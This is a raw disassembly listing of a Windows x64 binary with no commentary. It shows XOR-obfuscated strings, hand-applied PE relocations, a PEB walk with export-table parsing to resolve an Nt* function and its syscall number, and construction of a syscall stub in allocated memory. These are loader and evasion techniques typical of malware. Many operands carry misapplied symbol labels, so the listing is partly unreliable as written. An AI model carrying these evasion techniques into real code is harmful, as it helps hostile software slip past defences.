lea r8d, [rdi + 0x13]
mov dl, 0x34
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + 0x5bc], al
xor eax, eax
mov byte [rbp + 0x5bd], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5a9]
lea rcx, [rbp + 0x5a8]
call fcn.14002e778
mov byte [rbp + rdi + 0x5a9], al
add rdi, rbx
cmp rdi, rsi
jb 0x140025eb9
xor eax, eax
mov byte [rbp + 0x5bd], al
xor r9d, r9d
lea r8, [rbp + 0x2d9]
lea rdx, [rbp + 0x5a9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov byte [rbp + 0x2f0], gethostname
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f1], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f2], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f3], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f4], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f5], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f6], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f7], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f8], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2f9], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2fa], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2fb], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2fc], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2fd], al
mov r9, rbx
lea r15d, [rsi + 0xc]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2fe], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x2ff], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x300], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + 0x301], al
xor eax, eax
mov byte [rbp + 0x302], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2f1]
lea rcx, [rbp + 0x2f0]
call fcn.14002e0f0
mov byte [rbp + rdi + 0x2f1], al
add rdi, rsi
cmp rdi, rbx
jb 0x1400260ef
xor edi, edi
mov byte [rbp + 0x302], dil
mov byte [rbp + 0x5c0], reloc.WS2_32.dll_gethostname
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c1], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c2], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c3], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c4], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c5], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c6], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c7], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c8], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5c9], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5ca], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5cb], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5cc], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5cd], al
mov r9d, esi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5ce], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5cf], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5d0], al
mov r9d, esi
mov r8, r12
mov dl, r14b
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5d1], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5d2], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5d3], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + 0x5d4], al
xor eax, eax
mov byte [rbp + 0x5d5], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5c1]
lea rcx, [rbp + 0x5c0]
call fcn.14002e778
mov byte [rbp + rdi + 0x5c1], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002634f
xor eax, eax
mov byte [rbp + 0x5d5], al
xor r9d, r9d
lea r8, [rbp + 0x2f1]
lea rdx, [rbp + 0x5c1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov byte [rbp + 0x308], 0x68
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x309], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x30a], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x30b], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x30c], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x30d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x30e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x30f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x310], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x311], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x312], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x313], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x314], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x315], al
mov r9, rbx
lea r15d, [rsi + 0xc]
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x316], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x317], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x318], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + 0x319], al
xor eax, eax
mov byte [rbp + 0x31a], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x309]
lea rcx, [rbp + 0x308]
call fcn.14002e0f0
mov byte [rbp + rdi + 0x309], al
add rdi, rsi
cmp rdi, rbx
jb 0x140026583
xor edi, edi
mov byte [rbp + 0x31a], dil
mov byte [rbp + 0x5d8], 6
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5d9], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5da], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5db], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5dc], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5dd], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5de], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5df], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e0], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e1], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e2], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e3], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e4], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e5], al
mov r9d, esi
mov r8, r15
mov dl, 0x75
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e6], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e7], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e8], al
mov r9d, esi
mov r8, r12
mov dl, r14b
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5e9], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5ea], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5eb], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, Ordinal_50
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + 0x5ec], al
xor eax, eax
mov byte [rbp + 0x5ed], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x5d9]
lea rcx, [rbp + 0x5d8]
call fcn.14002e778
mov byte [rbp + rdi + 0x5d9], al
add rdi, rbx
cmp rdi, rsi
jb 0x1400267e3
xor eax, eax
mov byte [rbp + 0x5ed], al
xor r9d, r9d
lea r8, [rbp + 0x309]
lea rdx, [rbp + 0x5d9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov r15, qword [rbp - 0x58]
mov r11, qword [rbp + 0xea0]
mov rax, r11
sub rax, qword [r15 + 0x30]
mov qword [rbp - 0x70], rax
je 0x1400269e5
test byte [r15 + 0x5e], 0x40
je 0x1400269e5
mov edi, dword [r15 + 0xb0]
movzx edx, word [r15 + 0x14]
add rdx, 0x18
add rdx, r15
movzx eax, word [r15 + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x140026897
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x140026893
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x140026948
add rdx, 0x28
cmp rdx, r8
jb 0x14002687d
xor ecx, ecx
mov edx, ecx
mov r9d, dword [r15 + 0xb4]
add r9, rdx
mov qword [rbp - 0x78], r9
test rdx, rdx
je 0x1400269e5
cmp rdx, r9
jae 0x1400269e5
mov r14, qword [rbp - 0x70]
mov rbx, qword [rbp - 0x58]
mov r12, qword [rbp + 0xc10]
mov eax, dword [rdx + 4]
test eax, eax
je 0x1400269ca
add eax, 0xfffffff8
shr eax, 1
je 0x1400269bb
lea r15, [rdx + 8]
mov ecx, eax
mov qword [rsp + 0x60], rcx
mov r8d, 1
lea r9d, [r8 + 2]
movzx edi, word [r15]
movzx eax, di
shr ax, 0xc
and edi, 0xfff
jge 0x140026919
sub edi, r8d
or edi, 0xfffff000
add edi, r8d
cmp ax, r9w
je 0x14002692b
mov r10d, 0xa
cmp ax, r10w
jne 0x1400269a3
mov r11d, dword [rdx]
movzx r8d, word [rbx + 0x14]
add r8, 0x18
add r8, rbx
movzx eax, word [rbx + 6]
lea rcx, [rax + rax*4]
lea rcx, [r8 + rcx*8]
jmp 0x140026978
mov edx, dword [rdx + 0x14]
sub rdx, rcx
add rdx, rdi
add rdx, qword [rbp + 0xc10]
xor ecx, ecx
jmp 0x1400268a0
mov r10d, dword [r8 + 0xc]
cmp r11, r10
jb 0x140026974
mov eax, dword [r8 + 8]
add eax, r10d
cmp r11, rax
jb 0x14002697f
add r8, 0x28
cmp r8, rcx
jb 0x14002695f
jmp 0x14002698e
mov ecx, dword [r8 + 0x14]
sub rcx, r10
add rcx, r11
add rcx, r12
jne 0x140026991
mov rcx, r12
movzx eax, di
add qword [rax + rcx], r14
mov rcx, qword [rsp + 0x60]
mov r8d, 1
add r15, 2
sub rcx, r8
mov qword [rsp + 0x60], rcx
jne 0x1400268fa
mov r9, qword [rbp - 0x78]
xor ecx, ecx
mov eax, dword [rdx + 4]
add rdx, rax
cmp rdx, r9
jb 0x1400268cf
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
lea r14d, [rbx + 0xf]
lea r12d, [rbx - 1]
mov r15, qword [rbp - 0x58]
mov r11, qword [rbp + 0xea0]
movzx eax, word [r15 + 0x14]
lea rcx, [r15 + 0x18]
add rcx, rax
mov qword [rbp - 0x40], rcx
xor edi, edi
mov edx, edi
mov dword [rbp - 0x60], edx
cmp di, word [r15 + 6]
jae 0x140028422
lea r10d, [rdi + 1]
cmp dword [rcx + 0x14], edi
je 0x140027e9f
cmp dword [rcx + 0x10], edi
je 0x140027e9f
mov eax, dword [rcx + 0x10]
mov qword [rbp - 0x38], rax
mov eax, dword [rcx + 0x14]
add rax, qword [rbp + 0xc10]
mov qword [rsp + 0x70], rax
mov eax, dword [rcx + 0xc]
add rax, r11
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xd60]
mov qword [rbp - 0x48], rax
mov word [rbp + 0x5f0], 0x22b
mov r9, rsi
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5f2], al
mov r9, rsi
lea r8d, [r15 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5f3], al
mov r9, rsi
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5f4], al
mov r9, rsi
lea r8d, [r15 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5f5], al
mov r9, rsi
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5f6], al
mov r9, rsi
lea r8d, [r15 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5f7], al
mov r9, rsi
lea r8d, [r15 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5f8], al
mov r9, rsi
lea r8d, [r15 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5f9], al
mov r9, rsi
lea r8d, [r15 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5fa], al
mov r9, rsi
lea r8d, [r15 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5fb], al
mov r9, rsi
lea r8d, [r15 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5fc], al
mov r9, rsi
lea r8d, [r15 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5fd], al
mov r9, rsi
lea r8d, [r15 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5fe], al
mov r9, rsi
lea r8d, [r15 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x5ff], al
mov r9, rsi
lea r8d, [r15 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x600], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x601], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x602], al
mov r9, rsi
lea r8d, [r15 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x603], al
mov r9, rsi
lea r8d, [r15 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x5f0]
call fcn.14002e778
mov byte [rbp + 0x604], al
xor eax, eax
mov byte [rbp + 0x605], al
mov r8, rdi
mov r9, rsi
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x5f0]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x5f0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x5f1], dil
add r8, r15
add r9, rsi
cmp r9, 0x1a4
jb 0x140026c6d
xor edi, edi
mov byte [rbp + 0x605], dil
mov word [rbp + 0x80], 0xab67
lea r9d, [rdi + 9]
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x80]
call fcn.14002e000
mov byte [rbp + 0x82], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x80]
call fcn.14002e000
mov byte [rbp + 0x83], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x80]
call fcn.14002e000
mov byte [rbp + 0x84], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x80]
call fcn.14002e000
mov byte [rbp + 0x85], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x80]
call fcn.14002e000
mov byte [rbp + 0x86], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x80]
call fcn.14002e000
mov byte [rbp + 0x87], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x80]
call fcn.14002e000
mov byte [rbp + 0x88], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x80]
call fcn.14002e000
mov byte [rbp + 0x89], al
xor eax, eax
mov byte [rbp + 0x8a], al
mov r8d, edi
lea r9d, [rdi + 9]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x80]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x80]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x81], dil
add r8, r15
add r9, 9
cmp r9, 0x5a
jb 0x140026de8
xor ecx, ecx
mov byte [rbp + 0x8a], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x140027731
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
xor eax, eax
mov r15d, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x140026ee8
lea r11d, [rax + 1]
mov r8d, r11d
mov r14, qword [rsp + 0x60]
mov ecx, r8d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x140026ebf
mov r14d, reloc.WLDAP32.dll_Ordinal_32
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x140026f42
mov rax, rcx
lea r9, [rbp + 0x81]
sub r9, rcx
lea r15d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140026f3b
add rax, r15
test edx, edx
jne 0x140026f26
test r8d, r8d
cmove edi, r15d
call fcn.14008cef0
xor edx, edx
test dil, dil
jne 0x140026f99
mov rax, qword [rbp - 0x80]
mov rax, qword [rax]
mov qword [rbp - 0x80], rax
cmp rax, qword [rbp - 0x78]
jne 0x140026e81
mov edi, 1
mov rdx, qword [rbp - 0x40]
mov ecx, dword [rdx + 0x24]
and ecx, 0x20000000
xor r10d, r10d
cmp dword [rdx + 0x24], r10d
jge 0x140027739
neg ecx
sbb r15d, r15d
and r15d, 0x3c
add r15d, 4
mov dword [rsp + 0x68], r15d
jmp 0x140027748
mov rcx, qword [rbp - 0x80]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140026f63
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140026f63
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140026f63
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140026f63
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140026f63
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x5f1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140027014
inc rax
test edi, edi
jne 0x140026fff
mov edi, 1
test r8d, r8d
je 0x14002702c
add rdx, rdi
cmp rdx, qword [rbp - 0x70]
jb 0x140026fee
jmp 0x140026f68
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
xor ecx, ecx
test rdx, rdx
je 0x140026f68
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
cmp eax, edi
jl 0x140026f68
mov edx, 0x1000
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x25b84], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x24800]
call fcn.14002ef44
lea rcx, [rbp + 0x24800]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov r14d, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x24800]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + r14*8 + 0x3e540], rax
add r14, r12
cmp r14, 0x200
jl 0x1400270c7
mov r14d, reloc.WLDAP32.dll_Ordinal_32
lea r12d, [r14 - 0x10]
mov r8d, 0x1000
lea rdx, [rbp + 0x3e540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xed0], eax
lea r9, [rbp + 0xed0]
mov r8d, r14d
mov edx, 0x1000
mov rcx, r15
